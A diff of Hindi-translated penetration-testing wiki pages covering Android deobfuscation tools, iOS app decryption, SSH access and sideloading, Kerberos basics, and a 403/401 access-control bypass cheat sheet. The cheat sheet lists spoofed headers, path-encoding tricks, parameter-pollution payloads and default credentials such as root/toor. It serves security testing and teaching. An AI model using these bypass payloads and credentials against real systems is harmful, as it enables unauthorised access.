[विकिपीडिया](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है।
|
||||
|
||||
ProGuard Android SDK का एक हिस्सा के रूप में वितरित किया जाता है और रिलीज़ मोड में एप्लिकेशन बनाने पर चलता है।
|
||||
|
||||
@ -689,16 +689,16 @@ APK को डिओबफस्केट करने के लिए चर
|
||||
(उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था:
|
||||
|
||||
- एक संसाधन को InputStream के रूप में लोड करें;
|
||||
- इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक क्लास को परिणाम दें;
|
||||
- इसे FilterInputStream से विरासत में मिली एक कक्षा को डिक्रिप्ट करने के लिए परिणाम दें;
|
||||
- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
|
||||
- DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें;
|
||||
- डिक्रिप्टेड परिणाम को ZipInputStream में दें ताकि एक DEX फ़ाइल प्राप्त हो सके;
|
||||
- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें।
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard Android ओबफस्केशन उपकरणों द्वारा किए गए ओबफस्केशन की प्रक्रिया को उलटता है। यह कोड निरीक्षण और पुस्तकालयों की भविष्यवाणी सहित कई सुरक्षा विश्लेषणों को सक्षम बनाता है।**
|
||||
|
||||
आप उनके प्लेटफ़ॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं।
|
||||
आप उनके प्लेटफॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं।
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
@ -706,15 +706,15 @@ APK को डिओबफस्केट करने के लिए चर
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
यह एक **generic android deobfuscator** है। Simplify **virtually executes an app** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
|
||||
यह एक **सामान्य Android डिओबफस्केटर** है। Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे समझना मानव के लिए आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि उपयोग की जाने वाली ओबफस्केशन का विशिष्ट प्रकार क्या है।
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD आपको **यह जानकारी देता है कि APK कैसे बनाया गया था**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) है।
|
||||
APKiD आपको **यह जानकारी देता है कि एक APK कैसे बनाया गया था**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) है।
|
||||
|
||||
### Manual
|
||||
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
[कस्टम ओबफस्केशन को रिवर्स करने के कुछ ट्रिक्स सीखने के लिए इस ट्यूटोरियल को पढ़ें](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
|
@ -31,24 +31,24 @@ $ instruments -s devices
|
||||
```
|
||||
### **डिवाइस शेल तक पहुँचना**
|
||||
|
||||
**SSH पहुँच** को **OpenSSH पैकेज** को जेलब्रेक के बाद स्थापित करके सक्षम किया जाता है, जो `ssh root@<device_ip_address>` के माध्यम से कनेक्शन की अनुमति देता है। डिवाइस को सुरक्षित करने के लिए उपयोगकर्ताओं `root` और `mobile` के लिए डिफ़ॉल्ट पासवर्ड (`alpine`) को बदलना महत्वपूर्ण है।
|
||||
**SSH एक्सेस** को **OpenSSH पैकेज** को जेलब्रेक के बाद स्थापित करके सक्षम किया जाता है, जो `ssh root@<device_ip_address>` के माध्यम से कनेक्शन की अनुमति देता है। डिवाइस को सुरक्षित करने के लिए उपयोगकर्ताओं `root` और `mobile` के लिए डिफ़ॉल्ट पासवर्ड (`alpine`) को बदलना महत्वपूर्ण है।
|
||||
|
||||
**USB के माध्यम से SSH** Wi-Fi की अनुपस्थिति में आवश्यक हो जाता है, `iproxy` का उपयोग करके SSH कनेक्शनों के लिए डिवाइस पोर्ट को मैप किया जाता है। यह सेटअप USB के माध्यम से SSH पहुँच को सक्षम करता है, इसे चलाकर:
|
||||
**USB के माध्यम से SSH** Wi-Fi की अनुपस्थिति में आवश्यक हो जाता है, `iproxy` का उपयोग करके SSH कनेक्शनों के लिए डिवाइस पोर्ट को मैप किया जाता है। यह सेटअप USB के माध्यम से SSH एक्सेस सक्षम करता है:
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**ऑन-डिवाइस शेल एप्लिकेशन**, जैसे NewTerm 2, सीधे डिवाइस इंटरैक्शन को सुविधाजनक बनाते हैं, जो समस्या निवारण के लिए विशेष रूप से उपयोगी होते हैं। **रिवर्स SSH शेल** भी होस्ट कंप्यूटर से दूरस्थ पहुंच के लिए स्थापित किए जा सकते हैं।
|
||||
**On-device shell applications**, जैसे NewTerm 2, सीधे डिवाइस इंटरैक्शन को सुविधाजनक बनाते हैं, जो समस्या निवारण के लिए विशेष रूप से उपयोगी है। **Reverse SSH shells** को होस्ट कंप्यूटर से दूरस्थ पहुंच के लिए भी स्थापित किया जा सकता है।
|
||||
|
||||
### **भूल गए पासवर्ड रीसेट करना**
|
||||
### **Resetting Forgotten Passwords**
|
||||
|
||||
भूल गए पासवर्ड को डिफ़ॉल्ट (`alpine`) पर रीसेट करने के लिए, `/private/etc/master.passwd` फ़ाइल को संपादित करना आवश्यक है। इसमें मौजूदा हैश को `root` और `mobile` उपयोगकर्ता प्रविष्टियों के बगल में `alpine` के लिए हैश के साथ बदलना शामिल है।
|
||||
|
||||
## **डेटा ट्रांसफर तकनीकें**
|
||||
## **Data Transfer Techniques**
|
||||
|
||||
### **ऐप डेटा फ़ाइलें स्थानांतरित करना**
|
||||
### **Transferring App Data Files**
|
||||
|
||||
**SSH और SCP के माध्यम से आर्काइविंग और पुनर्प्राप्ति:** एप्लिकेशन के डेटा निर्देशिका को `tar` का उपयोग करके आर्काइव करना और फिर `scp` का उपयोग करके स्थानांतरित करना सीधा है। नीचे दिया गया कमांड डेटा निर्देशिका को .tgz फ़ाइल में आर्काइव करता है, जिसे फिर डिवाइस से खींचा जाता है:
|
||||
**Archiving and Retrieval via SSH and SCP:** एप्लिकेशन के Data निर्देशिका को `tar` का उपयोग करके संग्रहित करना और फिर इसे `scp` का उपयोग करके स्थानांतरित करना सीधा है। नीचे दिया गया कमांड Data निर्देशिका को .tgz फ़ाइल में संग्रहित करता है, जिसे फिर डिवाइस से खींचा जाता है:
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
@ -56,11 +56,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **ग्राफिकल यूजर इंटरफेस टूल्स**
|
||||
|
||||
**iFunbox और iExplorer का उपयोग करना:** ये GUI टूल्स iOS उपकरणों पर फ़ाइलों को प्रबंधित करने के लिए उपयोगी हैं। हालाँकि, iOS 8.4 से शुरू होकर, Apple ने इन टूल्स की पहुँच को एप्लिकेशन सैंडबॉक्स तक सीमित कर दिया है जब तक कि उपकरण जेलब्रोकन न हो।
|
||||
**iFunbox और iExplorer का उपयोग करना:** ये GUI टूल iOS उपकरणों पर फ़ाइलों को प्रबंधित करने के लिए उपयोगी हैं। हालाँकि, iOS 8.4 से शुरू होकर, Apple ने इन टूल्स की पहुँच को एप्लिकेशन सैंडबॉक्स तक सीमित कर दिया है जब तक कि डिवाइस जेलब्रोकन न हो।
|
||||
|
||||
### **फ़ाइल प्रबंधन के लिए Objection का उपयोग करना**
|
||||
|
||||
**Objection के साथ इंटरएक्टिव शेल:** Objection लॉन्च करने से एक ऐप के Bundle निर्देशिका तक पहुँच मिलती है। यहाँ से, आप ऐप के Documents निर्देशिका में नेविगेट कर सकते हैं और फ़ाइलों का प्रबंधन कर सकते हैं, जिसमें उन्हें iOS उपकरण से डाउनलोड और अपलोड करना शामिल है।
|
||||
**Objection के साथ इंटरैक्टिव शेल:** Objection लॉन्च करने से एक ऐप के Bundle निर्देशिका तक पहुँच मिलती है। यहाँ से, आप ऐप के Documents निर्देशिका में नेविगेट कर सकते हैं और फ़ाइलों का प्रबंधन कर सकते हैं, जिसमें उन्हें iOS डिवाइस पर डाउनलोड और अपलोड करना शामिल है।
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -70,7 +70,7 @@ file download <filename>
|
||||
|
||||
### **IPA फ़ाइल प्राप्त करना**
|
||||
|
||||
**ओवर-दी-एयर (OTA) वितरण लिंक:** OTA के माध्यम से परीक्षण के लिए वितरित ऐप्स को ITMS सेवाओं के एसेट डाउनलोडर टूल का उपयोग करके डाउनलोड किया जा सकता है, जिसे npm के माध्यम से स्थापित किया गया है और स्थानीय रूप से IPA फ़ाइल को सहेजने के लिए उपयोग किया जाता है।
|
||||
**ओवर-दी-एयर (OTA) वितरण लिंक:** परीक्षण के लिए OTA के माध्यम से वितरित ऐप्स को ITMS सेवाओं के एसेट डाउनलोडर टूल का उपयोग करके डाउनलोड किया जा सकता है, जिसे npm के माध्यम से स्थापित किया गया है और स्थानीय रूप से IPA फ़ाइल को सहेजने के लिए उपयोग किया जाता है।
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
|
||||
|
||||
### **डिक्रिप्शन प्रक्रिया**
|
||||
|
||||
**मैनुअल डिक्रिप्शन अवलोकन:** iOS ऐप बाइनरी को Apple द्वारा FairPlay का उपयोग करके एन्क्रिप्ट किया गया है। रिवर्स-इंजीनियरिंग के लिए, एक को मेमोरी से डिक्रिप्टेड बाइनरी को डंप करना होगा। डिक्रिप्शन प्रक्रिया में PIE फ्लैग की जांच करना, मेमोरी फ्लैग को समायोजित करना, एन्क्रिप्टेड सेक्शन की पहचान करना, और फिर इस सेक्शन को इसके डिक्रिप्टेड रूप के साथ डंप और बदलना शामिल है।
|
||||
**मैनुअल डिक्रिप्शन अवलोकन:** iOS ऐप बाइनरी को Apple द्वारा FairPlay का उपयोग करके एन्क्रिप्ट किया गया है। रिवर्स-इंजीनियरिंग के लिए, डिक्रिप्टेड बाइनरी को मेमोरी से डंप करना आवश्यक है। डिक्रिप्शन प्रक्रिया में PIE फ्लैग की जांच करना, मेमोरी फ्लैग को समायोजित करना, एन्क्रिप्टेड सेक्शन की पहचान करना, और फिर इस सेक्शन को इसके डिक्रिप्टेड रूप के साथ डंप और बदलना शामिल है।
|
||||
|
||||
**PIE फ्लैग की जांच और संशोधन:**
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
|
||||
#### **frida-ios-dump**
|
||||
|
||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) उपकरण का उपयोग **iOS उपकरणों से ऐप्स को स्वचालित रूप से डिक्रिप्ट और निकालने** के लिए किया जाता है। प्रारंभ में, `dump.py` को iOS उपकरण से कनेक्ट करने के लिए कॉन्फ़िगर करना आवश्यक है, जिसे **iproxy** के माध्यम से लोकलहोस्ट पर पोर्ट 2222 के माध्यम से या सीधे उपकरण के IP पते और पोर्ट के माध्यम से किया जा सकता है।
|
||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) उपकरण का उपयोग **iOS उपकरणों से स्वचालित रूप से ऐप्स को डिक्रिप्ट और निकालने** के लिए किया जाता है। प्रारंभ में, `dump.py` को iOS उपकरण से कनेक्ट करने के लिए कॉन्फ़िगर करना आवश्यक है, जिसे **iproxy** के माध्यम से लोकलहोस्ट पर पोर्ट 2222 के माध्यम से या सीधे उपकरण के IP पते और पोर्ट के माध्यम से किया जा सकता है।
|
||||
|
||||
उपकरण पर स्थापित ऐप्स को सूचीबद्ध करने के लिए कमांड का उपयोग किया जा सकता है:
|
||||
```bash
|
||||
@ -142,29 +142,29 @@ bagbak --raw Chrome
|
||||
|
||||
### **ऐप्स इंस्टॉल करना**
|
||||
|
||||
**Sideloading** का अर्थ है आधिकारिक App Store के बाहर एप्लिकेशन इंस्टॉल करना। यह प्रक्रिया **installd daemon** द्वारा संभाली जाती है और इसके लिए ऐप्स को Apple द्वारा जारी किए गए सर्टिफिकेट के साथ साइन किया जाना आवश्यक है। जेलब्रोकन डिवाइस इस प्रक्रिया को **AppSync** के माध्यम से बायपास कर सकते हैं, जो नकली-साइन किए गए IPA पैकेजों की स्थापना की अनुमति देता है।
|
||||
**Sideloading** का अर्थ है आधिकारिक App Store के बाहर एप्लिकेशन इंस्टॉल करना। यह प्रक्रिया **installd daemon** द्वारा संभाली जाती है और इसके लिए ऐप्स को Apple द्वारा जारी किए गए सर्टिफिकेट के साथ साइन किया जाना आवश्यक है। जेलब्रोकन डिवाइस इस प्रक्रिया को **AppSync** के माध्यम से बायपास कर सकते हैं, जिससे नकली-साइन किए गए IPA पैकेजों की स्थापना संभव होती है।
|
||||
|
||||
#### **Sideloading टूल्स**
|
||||
#### **Sideloading उपकरण**
|
||||
|
||||
- **Cydia Impactor**: iOS पर IPA फ़ाइलों और Android पर APK फ़ाइलों को साइन और इंस्टॉल करने के लिए एक टूल। गाइड और समस्या निवारण [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) पर मिल सकते हैं।
|
||||
- **Cydia Impactor**: iOS पर IPA फ़ाइलों और Android पर APK फ़ाइलों को साइन और इंस्टॉल करने के लिए एक उपकरण। गाइड और समस्या निवारण [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) पर मिल सकते हैं।
|
||||
|
||||
- **libimobiledevice**: Linux और macOS के लिए एक लाइब्रेरी जो iOS डिवाइस के साथ संवाद करती है। USB के माध्यम से ऐप्स इंस्टॉल करने के लिए ideviceinstaller के लिए इंस्टॉलेशन कमांड और उपयोग के उदाहरण प्रदान किए गए हैं।
|
||||
- **libimobiledevice**: Linux और macOS के लिए एक लाइब्रेरी जो iOS उपकरणों के साथ संवाद करती है। USB के माध्यम से ऐप्स इंस्टॉल करने के लिए ideviceinstaller के लिए इंस्टॉलेशन कमांड और उपयोग के उदाहरण प्रदान किए गए हैं।
|
||||
|
||||
- **ipainstaller**: यह कमांड-लाइन टूल iOS डिवाइस पर सीधे ऐप इंस्टॉलेशन की अनुमति देता है।
|
||||
- **ipainstaller**: यह कमांड-लाइन उपकरण iOS उपकरणों पर सीधे ऐप इंस्टॉलेशन की अनुमति देता है।
|
||||
|
||||
- **ios-deploy**: macOS उपयोगकर्ताओं के लिए, ios-deploy कमांड लाइन से iOS ऐप्स इंस्टॉल करता है। IPA को अनज़िप करना और सीधे ऐप लॉन्च के लिए `-m` फ्लैग का उपयोग करना प्रक्रिया का हिस्सा है।
|
||||
|
||||
- **Xcode**: Xcode का उपयोग करके ऐप्स को इंस्टॉल करने के लिए **Window/Devices and Simulators** पर जाएं और ऐप को **Installed Apps** में जोड़ें।
|
||||
|
||||
#### **गैर-iPad डिवाइस पर एप्लिकेशन इंस्टॉलेशन की अनुमति दें**
|
||||
#### **गैर-iPad उपकरणों पर एप्लिकेशन इंस्टॉलेशन की अनुमति दें**
|
||||
|
||||
iPhone या iPod touch डिवाइस पर iPad-विशिष्ट एप्लिकेशन इंस्टॉल करने के लिए, **Info.plist** फ़ाइल में **UIDeviceFamily** मान को **1** में बदलना होगा। हालांकि, इस संशोधन के लिए IPA फ़ाइल को फिर से साइन करने की आवश्यकता होती है क्योंकि सिग्नेचर वैलिडेशन चेक होते हैं।
|
||||
iPhone या iPod touch उपकरणों पर iPad-विशिष्ट एप्लिकेशन इंस्टॉल करने के लिए, **Info.plist** फ़ाइल में **UIDeviceFamily** मान को **1** में बदलना आवश्यक है। हालांकि, इस संशोधन के लिए IPA फ़ाइल को फिर से साइन करना आवश्यक है क्योंकि सिग्नेचर वैलिडेशन चेक होते हैं।
|
||||
|
||||
**नोट**: यह विधि विफल हो सकती है यदि एप्लिकेशन नई iPad मॉडल के लिए विशेष क्षमताओं की मांग करता है जबकि पुरानी iPhone या iPod touch का उपयोग किया जा रहा है।
|
||||
**नोट**: यदि एप्लिकेशन नई iPad मॉडल के लिए विशेष क्षमताओं की मांग करता है जबकि पुरानी iPhone या iPod touch का उपयोग किया जा रहा है, तो यह विधि विफल हो सकती है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Kerberos** एक सिद्धांत पर काम करता है जहाँ यह उपयोगकर्ताओं को संसाधनों तक सीधे पहुँच प्रबंधित किए बिना प्रमाणित करता है। यह एक महत्वपूर्ण अंतर है क्योंकि यह प्रोटोकॉल की सुरक्षा ढाँचों में भूमिका को रेखांकित करता है।
|
||||
**Kerberos** एक सिद्धांत पर काम करता है जहाँ यह उपयोगकर्ताओं को संसाधनों तक सीधे पहुँच प्रबंधित किए बिना प्रमाणित करता है। यह एक महत्वपूर्ण भेद है क्योंकि यह प्रोटोकॉल की सुरक्षा ढाँचों में भूमिका को रेखांकित करता है।
|
||||
|
||||
**Active Directory** जैसे वातावरण में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में महत्वपूर्ण है, उनके गुप्त पासवर्डों को मान्य करके। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक उपयोगकर्ता की पहचान की पुष्टि की जाती है इससे पहले कि वे नेटवर्क संसाधनों के साथ बातचीत करें। हालाँकि, **Kerberos** अपनी कार्यक्षमता को विशिष्ट संसाधनों या सेवाओं पर उपयोगकर्ता के पास अधिकारों का मूल्यांकन या प्रवर्तन करने तक नहीं बढ़ाता। इसके बजाय, यह उपयोगकर्ताओं को प्रमाणित करने का एक सुरक्षित तरीका प्रदान करता है, जो सुरक्षा प्रक्रिया में एक महत्वपूर्ण पहला कदम है।
|
||||
|
||||
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं का विभाजन करने की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
|
||||
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं के विभाजन की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
|
||||
|
||||
**Default Port:** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Kerberos का दुरुपयोग कैसे करना है, यह जानने के लिए आपको** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** के बारे में पोस्ट पढ़नी चाहिए।**
|
||||
### **Kerberos का दुरुपयोग कैसे करना है, यह जानने के लिए आपको** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** के बारे में पोस्ट पढ़नी चाहिए।**
|
||||
|
||||
## अधिक
|
||||
|
||||
|
@ -13,7 +13,7 @@
|
||||
## HTTP Headers Fuzzing
|
||||
|
||||
- **Host हेडर** को किसी मनमाने मान में बदलें ([यहाँ काम किया](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
- संसाधन तक पहुँचने के लिए [**अन्य उपयोगकर्ता एजेंटों का उपयोग करने की कोशिश करें**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)।
|
||||
- संसाधन तक पहुँचने के लिए [**अन्य यूजर एजेंट्स का उपयोग करने की कोशिश करें**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)।
|
||||
- **HTTP हेडर को फज़ करें**: HTTP प्रॉक्सी **हेडर**, HTTP प्रमाणीकरण बेसिक और NTLM ब्रूट-फोर्स (केवल कुछ संयोजनों के साथ) और अन्य तकनीकों का उपयोग करने की कोशिश करें। इसके लिए मैंने उपकरण [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) बनाया है।
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
@ -35,16 +35,16 @@
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
- यदि पृष्ठ **प्रॉक्सी के पीछे है**, तो शायद प्रॉक्सी आपको निजी जानकारी तक पहुँचने से रोक रही है। [**HTTP अनुरोध स्मगलिंग**](../../pentesting-web/http-request-smuggling/) **या** [**हॉप-बाय-हॉप हेडर**](../../pentesting-web/abusing-hop-by-hop-headers.md)** का दुरुपयोग करने की कोशिश करें।**
|
||||
- यदि पृष्ठ **प्रॉक्सी के पीछे है**, तो शायद प्रॉक्सी आपको निजी जानकारी तक पहुँचने से रोक रही है। [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **या** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)** का दुरुपयोग करने की कोशिश करें।**
|
||||
- विभिन्न प्रतिक्रियाओं की तलाश में [**विशेष HTTP हेडर**](special-http-headers.md) को फज़ करें।
|
||||
- **HTTP विधियों** को फज़ करते समय विशेष HTTP हेडर को फज़ करें।
|
||||
- **HTTP विधियों** को फज़ करते समय **विशेष HTTP हेडर** को फज़ करें।
|
||||
- **Host हेडर को हटा दें** और शायद आप सुरक्षा को बायपास करने में सक्षम होंगे।
|
||||
|
||||
## Path **Fuzzing**
|
||||
|
||||
यदि _/path_ अवरुद्ध है:
|
||||
|
||||
- _**/**_**%2e/path का उपयोग करने की कोशिश करें \_ (यदि पहुँच प्रॉक्सी द्वारा अवरुद्ध है, तो यह सुरक्षा को बायपास कर सकता है)। **\_\*\* /%252e\*\*/path (डबल URL एन्कोड) का भी प्रयास करें**
|
||||
- _**/**_**%2e/path का उपयोग करने की कोशिश करें \_(यदि पहुँच प्रॉक्सी द्वारा अवरुद्ध है, तो यह सुरक्षा को बायपास कर सकता है)। **\_\*\* /%252e\*\*/path (डबल URL एन्कोड) का भी प्रयास करें**
|
||||
- **Unicode बायपास** का प्रयास करें: _/**%ef%bc%8f**path_ (URL एन्कोडेड वर्ण जैसे "/" हैं) इसलिए जब इसे फिर से एन्कोड किया जाएगा तो यह _//path_ होगा और शायद आप पहले से ही _/path_ नाम की जाँच को बायपास कर चुके होंगे।
|
||||
- **अन्य पथ बायपास**:
|
||||
- site.com/secret –> HTTP 403 Forbidden
|
||||
@ -68,26 +68,26 @@
|
||||
- {“id”:\[111]} --> 200 OK
|
||||
- {“id”:111} --> 401 Unauthorized
|
||||
- {“id”:{“id”:111\}} --> 200 OK
|
||||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON पैरामीटर प्रदूषण)
|
||||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (पैरामीटर प्रदूषण)
|
||||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
|
||||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
|
||||
|
||||
## **Parameter Manipulation**
|
||||
|
||||
- **param मान बदलें**: **`id=123` --> `id=124`**
|
||||
- **param value** बदलें: **`id=123` --> `id=124`**
|
||||
- URL में अतिरिक्त पैरामीटर जोड़ें: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
- पैरामीटर हटा दें
|
||||
- पैरामीटर को पुनः क्रमबद्ध करें
|
||||
- विशेष वर्णों का उपयोग करें।
|
||||
- पैरामीटर में सीमा परीक्षण करें — जैसे मान प्रदान करें _-234_ या _0_ या _99999999_ (केवल कुछ उदाहरण मान)।
|
||||
- पैरामीटर में सीमा परीक्षण करें — जैसे _-234_ या _0_ या _99999999_ (केवल कुछ उदाहरण मान) प्रदान करें।
|
||||
|
||||
## **Protocol version**
|
||||
|
||||
यदि HTTP/1.1 का उपयोग कर रहे हैं तो **1.0 का उपयोग करने की कोशिश करें** या यह भी परीक्षण करें कि क्या यह **2.0 का समर्थन करता है**।
|
||||
यदि HTTP/1.1 का उपयोग कर रहे हैं तो **1.0** का उपयोग करने की कोशिश करें या यह भी परीक्षण करें कि क्या यह **2.0** का समर्थन करता है।
|
||||
|
||||
## **Other Bypasses**
|
||||
|
||||
- डोमेन का **IP** या **CNAME** प्राप्त करें और **प्रत्यक्ष संपर्क करने की कोशिश करें**।
|
||||
- सामान्य GET अनुरोध भेजकर **सर्वर पर दबाव डालने** की कोशिश करें ([यह इस व्यक्ति के लिए फेसबुक के साथ काम किया](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))।
|
||||
- डोमेन का **IP** या **CNAME** प्राप्त करें और **प्रत्यक्ष संपर्क करने** की कोशिश करें।
|
||||
- सामान्य GET अनुरोध भेजकर सर्वर को **तनावित करने** की कोशिश करें ([यह इस व्यक्ति के लिए फेसबुक के साथ काम किया](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
- **प्रोटोकॉल बदलें**: http से https में, या https से http में
|
||||
- [**https://archive.org/web/**](https://archive.org/web/) पर जाएं और जांचें कि क्या अतीत में वह फ़ाइल **विश्व स्तर पर सुलभ** थी।
|
||||
|
||||
@ -105,7 +105,7 @@ root toor
|
||||
test test
|
||||
guest guest
|
||||
```
|
||||
## स्वचालित उपकरण
|
||||
## Automatic Tools
|
||||
|
||||
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||
|
@ -17,19 +17,19 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### वेब एपीआई मार्गदर्शन
|
||||
### Web API Guidance
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## कार्यप्रणाली का सारांश
|
||||
## Methodology summary
|
||||
|
||||
